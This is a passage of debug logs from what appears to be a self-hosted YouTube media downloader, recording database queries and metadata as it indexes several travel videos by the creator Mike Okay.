livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [251562] 20:00:35.440 [debug] Current batch of media processed. Will check again in 1000ms 20:00:36.441 [debug] Current batch of media processed. Will check again in 1000ms 20:00:37.442 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "duration" => 1064, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", "id" => "MEDlM-cA1Z8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "playlist_index" => 4, "timestamp" => 1781884520, "title" => "Inside China's Insane Propaganda Theme Park", "upload_date" => "20260619"} 20:00:37.443 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=660.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:37.443 [debug] QUERY OK source="sources" db=0.1ms idle=661.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:37.444 [debug] QUERY OK source="media_items" db=0.2ms idle=661.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-19 15:55:20Z], 3] 20:00:37.445 [debug] QUERY OK source="media_items" db=0.8ms idle=661.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "b1950a42-84b2-4af4-ad9a-3cf525db5170", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", 4, "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, false, false, 3, [], 98, ~U[2026-06-19 15:55:20Z], ~U[2026-08-20 03:00:37Z], ~U[2026-08-20 03:00:37Z], "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, 3, ~U[2026-06-19 15:55:20Z]] 20:00:37.446 [debug] QUERY OK source="sources" db=0.2ms idle=25.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:37.446 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:37.446 [debug] QUERY OK source="media_items" db=0.2ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [220422] 20:00:37.447 [debug] Current batch of media processed. Will check again in 1000ms 20:00:38.447 [debug] Current batch of media processed. Will check again in 1000ms 20:00:39.448 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "duration" => 2055, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", "id" => "B_S4NGLGbIM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=B_S4NGLGbIM", "playlist_index" => 5, "timestamp" => 1781282249, "title" => "Finding China’s Lost Cave Village (30 years abandoned)", "upload_date" => "20260612"} 20:00:39.449 [debug] QUERY OK source="sources" db=0.3ms idle=666.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:39.449 [debug] QUERY OK source="sources" db=0.1ms idle=667.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:39.450 [debug] QUERY OK source="media_items" db=0.2ms idle=667.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-12 16:37:29Z], 3] 20:00:39.451 [debug] QUERY OK source="media_items" db=0.7ms idle=668.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "27cebfbe-6a6f-412d-96ad-a26e07049c39", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", 5, "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, false, false, 3, [], 98, ~U[2026-06-12 16:37:29Z], ~U[2026-08-20 03:00:39Z], ~U[2026-08-20 03:00:39Z], "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, 3, ~U[2026-06-12 16:37:29Z]] 20:00:39.451 [debug] QUERY OK source="sources" db=0.1ms idle=28.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:39.451 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:39.452 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [190542] 20:00:39.452 [debug] Current batch of media processed. Will check again in 1000ms 20:00:40.453 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "duration" => 1894, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", "id" => "EIlIbE9HuB4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=EIlIbE9HuB4", "playlist_index" => 6, "timestamp" => 1780066592, "title" => "4,000 People Live On Japan's Most Active Volcano", "upload_date" => "20260529"} 20:00:40.454 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:40.454 [debug] QUERY OK source="sources" db=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:40.454 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 14:56:32Z], 3] 20:00:40.456 [debug] QUERY OK source="media_items" db=0.7ms idle=1002.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "426ff8c7-004b-4c05-9db4-ac6eea40e2b7", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", 6, "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, false, false, 3, [], 98, ~U[2026-05-29 14:56:32Z], ~U[2026-08-20 03:00:40Z], ~U[2026-08-20 03:00:40Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, 3, ~U[2026-05-29 14:56:32Z]] 20:00:40.456 [debug] QUERY OK source="sources" db=0.1ms idle=31.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:40.456 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:40.457 [debug] QUERY OK source="media_items" db=0.1ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [129416] 20:00:40.457 [debug] Current batch of media processed. Will check again in 1000ms 20:00:41.458 [debug] Current batch of media processed. Will check again in 1000ms 20:00:42.459 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "duration" => 2331, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", "id" => "bjb-24XMa1g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bjb-24XMa1g", "playlist_index" => 7, "timestamp" => 1779466243, "title" => "Travelling Across Japan To Poison Myself", "upload_date" => "20260522"} 20:00:42.460 [debug] QUERY OK source="sources" db=0.3ms idle=677.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:42.460 [debug] QUERY OK source="sources" db=0.3ms idle=678.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:42.461 [debug] QUERY OK source="media_items" db=0.3ms idle=678.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 16:10:43Z], 3] 20:00:42.462 [debug] QUERY OK source="media_items" db=0.7ms idle=679.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "00eb0c14-a889-40b0-b8b2-075135363373", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", 7, "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, false, false, 3, [], 98, ~U[2026-05-22 16:10:43Z], ~U[2026-08-20 03:00:42Z], ~U[2026-08-20 03:00:42Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across 